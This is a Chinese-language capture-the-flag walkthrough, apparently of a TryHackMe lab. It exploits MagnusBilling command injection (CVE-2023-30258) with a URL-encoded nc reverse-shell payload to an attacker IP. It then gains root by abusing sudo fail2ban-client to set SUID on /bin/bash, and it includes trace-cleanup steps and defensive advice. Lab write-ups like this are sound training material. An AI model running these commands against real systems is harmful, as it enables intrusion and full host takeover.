1. 信息收集
(1) Nmap 扫描
bashnmap -T4 -sC -sV -p- 10.10.189.216
输出关键信息:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u380/tcp open http Apache 2.4.56 (Debian) # MagnusBilling 应用3306/tcp open mysql MariaDB (未授权访问受限)5038/tcp open asterisk Asterisk Call Manager 2.10.6
分析:
-
80 端口:运行 MagnusBilling,可能存在已知漏洞。
-
5038 端口:Asterisk 服务,可能辅助提权。
2. Web 渗透(CVE-2023-30258)
(1) 访问 Web 应用
-
浏览器访问
http://10.10.189.216
,自动跳转到http://10.10.189.216/mbilling/
。 -
查看页面源码,确认 MagnusBilling 版本为 7.x.x(如
README.md
文件)。
(2) 验证命令注入漏洞
bash# 测试 sleep 命令(响应时间应接近 5 秒)time curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php?democ=;sleep+5;"
输出:
real 0m5.189s # 确认漏洞存在
(3) 生成反向 Shell Payload
bash# 在攻击机开启监听(443 端口)nc -lvnp 443# 注入反向 Shell 命令curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php" \--get --data-urlencode "democ=;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|sh+-i+2>%261|nc+10.10.158.208+443+>/tmp/f;"
监听结果:
connect to [10.10.158.208] from (UNKNOWN) [10.10.189.216] 41006sh: 0: can't access tty; job control turned off$ # 获取基础 Shell
(4) 升级交互式 Shell
bash# 在目标机执行$ python3 -c 'import pty;pty.spawn("/bin/bash")'$ export TERM=xterm# 在攻击机按 Ctrl+Z 挂起会话,然后执行stty raw -echo; fg
升级后:
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ # 完整交互式 Shell
3. 用户权限提升
(1) 读取用户 Flag
bashcat /home/magnus/user.txt
输出:
thm{5a0c4d7f3b...} # 用户 Flag
(2) 检查 sudo 权限
bashsudo -l
输出:
User asterisk may run the following commands on Billing:(ALL) NOPASSWD: /usr/bin/fail2ban-client # 关键权限
4. Root 权限提权(Fail2ban 滥用)
(1) 修改 Fail2ban Actionban 命令
bash# 篡改 actionban 命令,设置 /bin/bash 的 SUID 位sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
(2) 触发封禁以执行命令
bash# 封禁任意 IP(如 1.2.3.4)sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
(3) 验证 SUID 权限
bashls -l /bin/bash
输出:
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash # SUID 已生效
(4) 获取 Root Shell
bash/bin/bash -p # 使用 -p 保留 root 权限bash-5.1# iduid=1001(asterisk) gid=1001(asterisk) euid=0(root) egid=0(root) groups=0(root),1001(asterisk)
(5) 读取 Root Flag
bashcat /root/root.txt
输出:
thm{8b3d12f7a1...} # Root Flag
5. 清理痕迹
(1) 移除 /bin/bash 的 SUID 位
bashchmod -s /bin/bash
(2) 还原 Fail2ban 配置
bash# 恢复原始 actionban 命令sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'iptables -I f2b-ASTERISK 1 -s <ip> -j DROP'# 解封测试 IPsudo /usr/bin/fail2ban-client set asterisk-iptables unbanip 1.2.3.4# 重启 Fail2bansudo systemctl restart fail2ban
关键步骤总结
-
漏洞利用:通过 CVE-2023-30258 注入反向 Shell。
-
权限升级:利用
sudo /usr/bin/fail2ban-client
修改配置,设置 SUID 提权。 -
防御绕过:使用高权限服务(Fail2ban)执行恶意命令。
防御建议
-
修补漏洞:升级 MagnusBilling 至最新版本。
-
限制 Sudo 权限:禁止普通用户操作安全工具。
-
监控 SUID/SGID 文件:
-
find / -perm /4000 -ls # 定期检查异常权限文件
-
Fail2ban 加固:配置文件和动作脚本设为只读。